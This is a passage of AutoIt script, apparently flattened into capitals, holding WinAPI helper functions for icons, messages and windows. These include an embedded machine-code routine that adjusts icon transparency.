ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
#EndRegion Internal Functions
#Region Global Variables and Constants
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
GLOBAL CONST $TAGICONINFO = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
FUNC _WINAPI_ADDICONTRANSPARENCY ($HICON , $IPERCENT = 50 , $BDELETE = FALSE )
LOCAL $TBITMAP , $HDIB = 0 , $HRESULT = 0
LOCAL $AHBITMAP [2 ]
LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
FOR $I = 0 TO 1
$AHBITMAP [$I ] = DLLSTRUCTGETDATA ($TICONINFO , $I + 4 )
NEXT
LOCAL $IERROR = 0
DO
$HDIB = _WINAPI_COPYBITMAP ($AHBITMAP [1 ] )
IF NOT $HDIB THEN
$IERROR = 20
EXITLOOP
ENDIF
$TBITMAP = DLLSTRUCTCREATE ($TAGBITMAP )
IF (NOT _WINAPI_GETOBJECT ($HDIB , DLLSTRUCTGETSIZE ($TBITMAP ) , $TBITMAP ) ) OR (DLLSTRUCTGETDATA ($TBITMAP , "bmBitsPixel" ) <> 32 ) THEN
$IERROR = 21
EXITLOOP
ENDIF
$ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "PTR" , __TRANSPARENCYPROC () , "hwnd" , 0 , "uint" , $IPERCENT , "wparam" , DLLSTRUCTGETPTR ($TBITMAP ) , "lparam" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN
$IERROR = @ERROR + 30
EXITLOOP
ENDIF
IF $ARET [0 ] = + 4294967295 THEN
$HRESULT = _WINAPI_CREATEEMPTYICON (DLLSTRUCTGETDATA ($TBITMAP , "bmWidth" ) , DLLSTRUCTGETDATA ($TBITMAP , "bmHeight" ) )
ELSE
$HRESULT = _WINAPI_CREATEICONINDIRECT ($HDIB , $AHBITMAP [0 ] )
ENDIF
IF NOT $HRESULT THEN $IERROR = 22
UNTIL 1
IF $HDIB THEN
_WINAPI_DELETEOBJECT ($HDIB )
ENDIF
FOR $I = 0 TO 1
IF $AHBITMAP [$I ] THEN
_WINAPI_DELETEOBJECT ($AHBITMAP [$I ] )
ENDIF
NEXT
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 )
IF $BDELETE THEN
_WINAPI_DESTROYICON ($HICON )
ENDIF
RETURN $HRESULT
ENDFUNC
FUNC _WINAPI_COPYICON ($HICON )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "CopyIcon" , "handle" , $HICON )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATE32BITHICON ($HICON , $BDELETE = FALSE )
LOCAL $AHBITMAP [2 ] , $HRESULT = 0
LOCAL $ADIB [2 ] [2 ] = [[0 , 0 ] , [0 , 0 ] ]
LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , 0 , 0 )
FOR $I = 0 TO 1
$AHBITMAP [$I ] = DLLSTRUCTGETDATA ($TICONINFO , $I + 4 )
NEXT
IF _WINAPI_ISALPHABITMAP ($AHBITMAP [1 ] ) THEN
$ADIB [0 ] [0 ] = _WINAPI_CREATEANDBITMAP ($AHBITMAP [1 ] )
IF NOT @ERROR THEN
$HRESULT = _WINAPI_CREATEICONINDIRECT ($AHBITMAP [1 ] , $ADIB [0 ] [0 ] )
ENDIF
ELSE
LOCAL $TSIZE = _WINAPI_GETBITMAPDIMENSION ($AHBITMAP [1 ] )
LOCAL $ASIZE [2 ]
FOR $I = 0 TO 1
$ASIZE [$I ] = DLLSTRUCTGETDATA ($TSIZE , $I + 1 )
NEXT
LOCAL $HSRCDC = _WINAPI_CREATECOMPATIBLEDC (0 )
LOCAL $HDSTDC = _WINAPI_CREATECOMPATIBLEDC (0 )
LOCAL $HSRCSV , $HDSTSV
FOR $I = 0 TO 1
$ADIB [$I ] [0 ] = _WINAPI_CREATEDIB ($ASIZE [0 ] , $ASIZE [1 ] )
$ADIB [$I ] [1 ] = $__G_VEXT
$HSRCSV = _WINAPI_SELECTOBJECT ($HSRCDC , $AHBITMAP [$I ] )
$HDSTSV = _WINAPI_SELECTOBJECT ($HDSTDC , $ADIB [$I ] [0 ] )
_WINAPI_BITBLT ($HDSTDC , 0 , 0 , $ASIZE [0 ] , $ASIZE [1 ] , $HSRCDC , 0 , 0 , 12583114 )
_WINAPI_SELECTOBJECT ($HSRCDC , $HSRCSV )
_WINAPI_SELECTOBJECT ($HDSTDC , $HDSTSV )
NEXT
_WINAPI_DELETEDC ($HSRCDC )
_WINAPI_DELETEDC ($HDSTDC )
$ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , __XORPROC () , "ptr" , 0 , "uint" , $ASIZE [0 ] * $ASIZE [1 ] * 4 , "wparam" , $ADIB [0 ] [1 ] , "lparam" , $ADIB [1 ] [1 ] )
IF NOT @ERROR AND $ARET [0 ] THEN
$HRESULT = _WINAPI_CREATEICONINDIRECT ($ADIB [1 ] [0 ] , $AHBITMAP [0 ] )
ENDIF
ENDIF
FOR $I = 0 TO 1
_WINAPI_DELETEOBJECT ($AHBITMAP [$I ] )
IF $ADIB [$I ] [0 ] THEN
_WINAPI_DELETEOBJECT ($ADIB [$I ] [0 ] )
ENDIF
NEXT
IF NOT $HRESULT THEN RETURN SETERROR (11 , 0 , 0 )
IF $BDELETE THEN
_WINAPI_DESTROYICON ($HICON )
ENDIF
RETURN $HRESULT
ENDFUNC
FUNC _WINAPI_CREATEEMPTYICON ($IWIDTH , $IHEIGHT , $IBITSPERPEL = 32 )
LOCAL $HXOR = _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , $IBITSPERPEL )
LOCAL $HAND = _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , 1 )
LOCAL $HDC = _WINAPI_CREATECOMPATIBLEDC (0 )
LOCAL $HSV = _WINAPI_SELECTOBJECT ($HDC , $HAND )
LOCAL $HBRUSH = _WINAPI_CREATESOLIDBRUSH (16777215 )
LOCAL $TRECT = _WINAPI_CREATERECT (0 , 0 , $IWIDTH , $IHEIGHT )
_WINAPI_FILLRECT ($HDC , $TRECT , $HBRUSH )
_WINAPI_DELETEOBJECT ($HBRUSH )
_WINAPI_SELECTOBJECT ($HDC , $HSV )
_WINAPI_DELETEDC ($HDC )
LOCAL $HICON = _WINAPI_CREATEICONINDIRECT ($HXOR , $HAND )
LOCAL $IERROR = @ERROR
IF $HXOR THEN
_WINAPI_DELETEOBJECT ($HXOR )
ENDIF
IF $HAND THEN
_WINAPI_DELETEOBJECT ($HAND )
ENDIF
IF NOT $HICON THEN RETURN SETERROR ($IERROR + 10 , 0 , 0 )
RETURN $HICON
ENDFUNC
FUNC _WINAPI_CREATEICON ($HINSTANCE , $IWIDTH , $IHEIGHT , $IPLANES , $IBITSPIXEL , $PANDBITS , $PXORBITS )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIcon" , "handle" , $HINSTANCE , "int" , $IWIDTH , "int" , $IHEIGHT , "byte" , $IPLANES , "byte" , $IBITSPIXEL , "struct*" , $PANDBITS , "struct*" , $PXORBITS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEICONFROMRESOURCEEX ($PDATA , $ISIZE , $BICON = TRUE , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIconFromResourceEx" , "ptr" , $PDATA , "dword" , $ISIZE , "bool" , $BICON , "dword" , 196608 , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEICONINDIRECT ($HBITMAP , $HMASK , $IXHOTSPOT = 0 , $IYHOTSPOT = 0 , $BICON = TRUE )
LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO )
DLLSTRUCTSETDATA ($TICONINFO , 1 , $BICON )
DLLSTRUCTSETDATA ($TICONINFO , 2 , $IXHOTSPOT )
DLLSTRUCTSETDATA ($TICONINFO , 3 , $IYHOTSPOT )
DLLSTRUCTSETDATA ($TICONINFO , 4 , $HMASK )
DLLSTRUCTSETDATA ($TICONINFO , 5 , $HBITMAP )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIconIndirect" , "struct*" , $TICONINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DESTROYICON ($HICON )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DestroyIcon" , "handle" , $HICON )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_EXTRACTICON ($SICON , $IINDEX , $BSMALL = FALSE )
LOCAL $PLARGE , $PSMALL , $TPTR = DLLSTRUCTCREATE ("ptr" )
IF $BSMALL THEN
$PLARGE = 0
$PSMALL = DLLSTRUCTGETPTR ($TPTR )
ELSE
$PLARGE = DLLSTRUCTGETPTR ($TPTR )
$PSMALL = 0
ENDIF
DLLCALL ("shell32.dll" , "uint" , "ExtractIconExW" , "wstr" , $SICON , "int" , $IINDEX , "ptr" , $PLARGE , "ptr" , $PSMALL , "uint" , 1 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TPTR , 1 )
ENDFUNC
FUNC _WINAPI_EXTRACTICONEX ($SFILEPATH , $IINDEX , $PALARGE , $PASMALL , $IICONS )
LOCAL $ARESULT = DLLCALL ("shell32.dll" , "uint" , "ExtractIconExW" , "wstr" , $SFILEPATH , "int" , $IINDEX , "struct*" , $PALARGE , "struct*" , $PASMALL , "uint" , $IICONS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FILEICONINIT ($BRESTORE = TRUE )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , 660 , "int" , $BRESTORE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_GETICONDIMENSION ($HICON )
LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $TSIZE = _WINAPI_GETBITMAPDIMENSION (DLLSTRUCTGETDATA ($TICONINFO , 5 ) )
FOR $I = 4 TO 5
_WINAPI_DELETEOBJECT (DLLSTRUCTGETDATA ($TICONINFO , $I ) )
NEXT
IF NOT ISDLLSTRUCT ($TSIZE ) THEN RETURN SETERROR (20 , 0 , 0 )
RETURN $TSIZE
ENDFUNC
FUNC _WINAPI_GETICONINFO ($HICON )
LOCAL $TINFO = DLLSTRUCTCREATE ($TAGICONINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TINFO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $AICON [6 ]
$AICON [0 ] = TRUE
$AICON [1 ] = DLLSTRUCTGETDATA ($TINFO , "Icon" ) <> 0
$AICON [2 ] = DLLSTRUCTGETDATA ($TINFO , "XHotSpot" )
$AICON [3 ] = DLLSTRUCTGETDATA ($TINFO , "YHotSpot" )
$AICON [4 ] = DLLSTRUCTGETDATA ($TINFO , "hMask" )
$AICON [5 ] = DLLSTRUCTGETDATA ($TINFO , "hColor" )
RETURN $AICON
ENDFUNC
FUNC _WINAPI_GETICONINFOEX ($HICON )
LOCAL $TIIEX = DLLSTRUCTCREATE ("dword;int;dword;dword;ptr;ptr;ushort;wchar[260];wchar[260]" )
DLLSTRUCTSETDATA ($TIIEX , 1 , DLLSTRUCTGETSIZE ($TIIEX ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfoExW" , "handle" , $HICON , "struct*" , $TIIEX )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [8 ]
FOR $I = 0 TO 7
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TIIEX , $I + 2 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_LOADICON ($HINSTANCE , $SNAME )
LOCAL $STYPEOFNAME = "int"
IF ISSTRING ($SNAME ) THEN
$STYPEOFNAME = "wstr"
ENDIF
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "LoadIconW" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_LOADICONMETRIC ($HINSTANCE , $SNAME , $IMETRIC )
LOCAL $STYPEOFNAME = "int"
IF ISSTRING ($SNAME ) THEN
$STYPEOFNAME = "wstr"
ENDIF
LOCAL $ARET = DLLCALL ("comctl32.dll" , "long" , "LoadIconMetric" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME , "int" , $IMETRIC , "handle*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [4 ]
ENDFUNC
FUNC _WINAPI_LOADICONWITHSCALEDOWN ($HINSTANCE , $SNAME , $IWIDTH , $IHEIGHT )
LOCAL $STYPEOFNAME = "int"
IF ISSTRING ($SNAME ) THEN
$STYPEOFNAME = "wstr"
ENDIF
LOCAL $ARET = DLLCALL ("comctl32.dll" , "long" , "LoadIconWithScaleDown" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME , "int" , $IWIDTH , "int" , $IHEIGHT , "handle*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [5 ]
ENDFUNC
FUNC _WINAPI_LOADSHELL32ICON ($IICONID )
LOCAL $TICONS = DLLSTRUCTCREATE ("ptr Data" )
LOCAL $IICONS = _WINAPI_EXTRACTICONEX ("shell32.dll" , $IICONID , 0 , $TICONS , 1 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $IICONS <= 0 THEN RETURN SETERROR (10 , 0 , 0 )
RETURN DLLSTRUCTGETDATA ($TICONS , "Data" )
ENDFUNC
FUNC _WINAPI_LOOKUPICONIDFROMDIRECTORYEX ($PDATA , $BICON = TRUE , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "LookupIconIdFromDirectoryEx" , "ptr" , $PDATA , "bool" , $BICON , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_MIRRORICON ($HICON , $BDELETE = FALSE )
IF NOT $BDELETE THEN
$HICON = _WINAPI_COPYICON ($HICON )
ENDIF
LOCAL $ARET = DLLCALL ("comctl32.dll" , "int" , 414 , "ptr" , 0 , "ptr*" , $HICON )
IF @ERROR OR NOT $ARET [0 ] THEN
LOCAL $IERROR = @ERROR + 10
IF $HICON AND NOT $BDELETE THEN
_WINAPI_DESTROYICON ($HICON )
ENDIF
RETURN SETERROR ($IERROR , 0 , 0 )
ENDIF
RETURN $ARET [2 ]
ENDFUNC
#EndRegion Public Functions
#Region Embedded DLL Functions
FUNC __TRANSPARENCYPROC ()
STATIC $PPROC = 0
IF NOT $PPROC THEN
IF @AUTOITX64 THEN
$PPROC = __INIT (BINARY ("0x48894C240848895424104C894424184C894C24205541574831C0505050505050" & "4883EC284883BC24800000000074054831C0EB0748C7C0010000004821C07522" & "488BAC248000000048837D180074054831C0EB0748C7C0010000004821C07502" & "EB0948C7C001000000EB034831C04821C0740B4831C04863C0E93C0100004C63" & "7C24784983FF647E0F48C7C0010000004863C0E9220100004C637C24784D21FF" & "7D08C74424780000000048C74424280100000048C74424300000000048C74424" & "3800000000488BAC24800000004C637D04488BAC2480000000486345084C0FAF" & "F849C1E7024983C7FC4C3B7C24380F8C88000000488BAC24800000004C8B7D18" & "4C037C24384983C7034C897C2440488B6C2440480FB64500505888442448807C" & "244800744B4C0FB67C244848634424784C0FAFF84C89F848C7C1640000004899" & "48F7F94989C74C89F850488B6C244858884500488B6C2440807D0000740948C7" & "4424280000000048C7442430010000004883442438040F8149FFFFFF48837C24" & "3000741148837C242800740948C7C001000000EB034831C04821C0740E48C7C0" & "FFFFFFFF4863C0EB11EB0C48C7C0010000004863C0EB034831C04883C458415F" & "5DC3" ) )
ELSE
$PPROC = __INIT (BINARY ("0x555331C05050505050837C242800740431C0EB05B80100000021C075198B6C24" & "28837D1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021" & "C0740731C0E9E50000008B5C242483FB647E0AB801000000E9D20000008B5C24" & "2421DB7D08C744242400000000C7042401000000C744240400000000C7442408" & "000000008B6C24288B5D048B6C24280FAF5D08C1E30283C3FC3B5C24087C648B" & "6C24288B5D14035C240883C303895C240C8B6C240C0FB6450088442410807C24" & "100074380FB65C24100FAF5C242489D8B96400000099F7F989C3538B6C241058" & "8845008B6C240C807D00007407C7042400000000C74424040100000083442408" & "047181837C240400740D833C24007407B801000000EB0231C021C07409B8FFFF" & "FFFFEB0BEB07B801000000EB0231C083C4145B5DC21000" ) )
ENDIF
ENDIF
RETURN $PPROC
ENDFUNC
#EndRegion Embedded DLL Functions
FUNC _SENDMESSAGE ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $IRETURN = 0 , $WPARAMTYPE = "wparam" , $LPARAMTYPE = "lparam" , $SRETURNTYPE = "lresult" )
LOCAL $ARESULT = DLLCALL ("user32.dll" , $SRETURNTYPE , "SendMessageW" , "hwnd" , $HWND , "uint" , $IMSG , $WPARAMTYPE , $WPARAM , $LPARAMTYPE , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $IRETURN >= 0 AND $IRETURN <= 4 THEN RETURN $ARESULT [$IRETURN ]
RETURN $ARESULT
ENDFUNC
FUNC _SENDMESSAGEA ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $IRETURN = 0 , $WPARAMTYPE = "wparam" , $LPARAMTYPE = "lparam" , $SRETURNTYPE = "lresult" )
LOCAL $ARESULT = DLLCALL ("user32.dll" , $SRETURNTYPE , "SendMessageA" , "hwnd" , $HWND , "uint" , $IMSG , $WPARAMTYPE , $WPARAM , $LPARAMTYPE , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $IRETURN >= 0 AND $IRETURN <= 4 THEN RETURN $ARESULT [$IRETURN ]
RETURN $ARESULT
ENDFUNC
#Region Global Variables and Constants
GLOBAL $__G_AINPROCESS_WINAPI [64 ] [2 ] = [[0 , 0 ] ]
GLOBAL $__G_AWINLIST_WINAPI [64 ] [2 ] = [[0 , 0 ] ]
GLOBAL CONST $GW_HWNDFIRST = 0
GLOBAL CONST $GW_HWNDLAST = 1
GLOBAL CONST $GW_HWNDNEXT = 2
GLOBAL CONST $GW_HWNDPREV = 3
GLOBAL CONST $GW_OWNER = 4
GLOBAL CONST $GW_CHILD = 5
GLOBAL CONST $GW_ENABLEDPOPUP = 6
GLOBAL CONST $GWL_WNDPROC = 4294967292
GLOBAL CONST $GWL_HINSTANCE = 4294967290
GLOBAL CONST $GWL_HWNDPARENT = 4294967288
GLOBAL CONST $GWL_ID = 4294967284
GLOBAL CONST $GWL_STYLE = 4294967280
GLOBAL CONST $GWL_EXSTYLE = 4294967276
GLOBAL CONST $GWL_USERDATA = 4294967275
GLOBAL CONST $__WINAPICONSTANT_WM_SETFONT = 48
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CREATEWINDOWEX ($IEXSTYLE , $SCLASS , $SNAME , $ISTYLE , $IX , $IY , $IWIDTH , $IHEIGHT , $HPARENT , $HMENU = 0 , $HINSTANCE = 0 , $PPARAM = 0 )
IF $HINSTANCE = 0 THEN $HINSTANCE = _WINAPI_GETMODULEHANDLE ("" )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "CreateWindowExW" , "dword" , $IEXSTYLE , "wstr" , $SCLASS , "wstr" , $SNAME , "dword" , $ISTYLE , "int" , $IX , "int" , $IY , "int" , $IWIDTH , "int" , $IHEIGHT , "hwnd" , $HPARENT , "handle" , $HMENU , "handle" , $HINSTANCE , "struct*" , $PPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETCLIENTRECT ($HWND )
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetClientRect" , "hwnd" , $HWND , "struct*" , $TRECT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_GETDESKTOPWINDOW ()
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetDesktopWindow" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DESTROYWINDOW ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DestroyWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ENABLEWINDOW ($HWND , $BENABLE = TRUE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "EnableWindow" , "hwnd" , $HWND , "bool" , $BENABLE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ENUMWINDOWS ($BVISIBLE = TRUE , $HWND = DEFAULT )
__WINAPI_ENUMWINDOWSINIT ()
IF $HWND = DEFAULT THEN $HWND = _WINAPI_GETDESKTOPWINDOW ()
__WINAPI_ENUMWINDOWSCHILD ($HWND , $BVISIBLE )
RETURN $__G_AWINLIST_WINAPI
ENDFUNC
FUNC _WINAPI_ENUMWINDOWSPOPUP ()
__WINAPI_ENUMWINDOWSINIT ()
LOCAL $HWND = _WINAPI_GETWINDOW (_WINAPI_GETDESKTOPWINDOW () , $GW_CHILD )
LOCAL $SCLASS
WHILE $HWND <> 0
IF _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN
$SCLASS = _WINAPI_GETCLASSNAME ($HWND )
IF $SCLASS = "#32768" THEN
__WINAPI_ENUMWINDOWSADD ($HWND )
ELSEIF $SCLASS = "ToolbarWindow32" THEN
__WINAPI_ENUMWINDOWSADD ($HWND )
ELSEIF $SCLASS = "ToolTips_Class32" THEN
__WINAPI_ENUMWINDOWSADD ($HWND )
ELSEIF $SCLASS = "BaseBar" THEN
__WINAPI_ENUMWINDOWSCHILD ($HWND )
ENDIF
ENDIF
$HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT )
WEND
RETURN $__G_AWINLIST_WINAPI
ENDFUNC
FUNC _WINAPI_ENUMWINDOWSTOP ()
__WINAPI_ENUMWINDOWSINIT ()
LOCAL $HWND = _WINAPI_GETWINDOW (_WINAPI_GETDESKTOPWINDOW () , $GW_CHILD )
WHILE $HWND <> 0
IF _WINAPI_ISWINDOWVISIBLE ($HWND ) THEN __WINAPI_ENUMWINDOWSADD ($HWND )
$HWND = _WINAPI_GETWINDOW ($HWND , $GW_HWNDNEXT )
WEND
RETURN $__G_AWINLIST_WINAPI
ENDFUNC
FUNC _WINAPI_GETCLASSNAME ($HWND )
IF NOT ISHWND ($HWND ) THEN $HWND = GUICTRLGETHANDLE ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetClassNameW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] )
ENDFUNC
FUNC _WINAPI_GETFOCUS ()
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetFocus" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETPARENT ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetParent" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETSYSCOLOR ($IINDEX )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "INT" , "GetSysColor" , "int" , $IINDEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETSYSTEMMETRICS ($IINDEX )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetSystemMetrics" , "int" , $IINDEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETWINDOW ($HWND , $ICMD )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "GetWindow" , "hwnd" , $HWND , "uint" , $ICMD )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWHEIGHT ($HWND )
LOCAL $TRECT = _WINAPI_GETWINDOWRECT ($HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TRECT , "Bottom" ) - DLLSTRUCTGETDATA ($TRECT , "Top" )
ENDFUNC
FUNC _WINAPI_GETWINDOWLONG ($HWND , $IINDEX )
LOCAL $SFUNCNAME = "GetWindowLongW"
IF @AUTOITX64 THEN $SFUNCNAME = "GetWindowLongPtrW"
LOCAL $ARESULT = DLLCALL ("user32.dll" , "long_ptr" , $SFUNCNAME , "hwnd" , $HWND , "int" , $IINDEX )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWRECT ($HWND )
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetWindowRect" , "hwnd" , $HWND , "struct*" , $TRECT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_GETWINDOWTEXT ($HWND )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "GetWindowTextW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] )
ENDFUNC
FUNC _WINAPI_GETWINDOWTHREADPROCESSID ($HWND , BYREF $IPID )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "dword" , "GetWindowThreadProcessId" , "hwnd" , $HWND , "dword*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
$IPID = $ARESULT [2 ]
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWWIDTH ($HWND )
LOCAL $TRECT = _WINAPI_GETWINDOWRECT ($HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" )
ENDFUNC
FUNC _WINAPI_INPROCESS ($HWND , BYREF $HLASTWND )
IF $HWND = $HLASTWND THEN RETURN TRUE
FOR $II = $__G_AINPROCESS_WINAPI [0 ] [0 ] TO 1 STEP + 4294967295
IF $HWND = $__G_AINPROCESS_WINAPI [$II ] [0 ] THEN
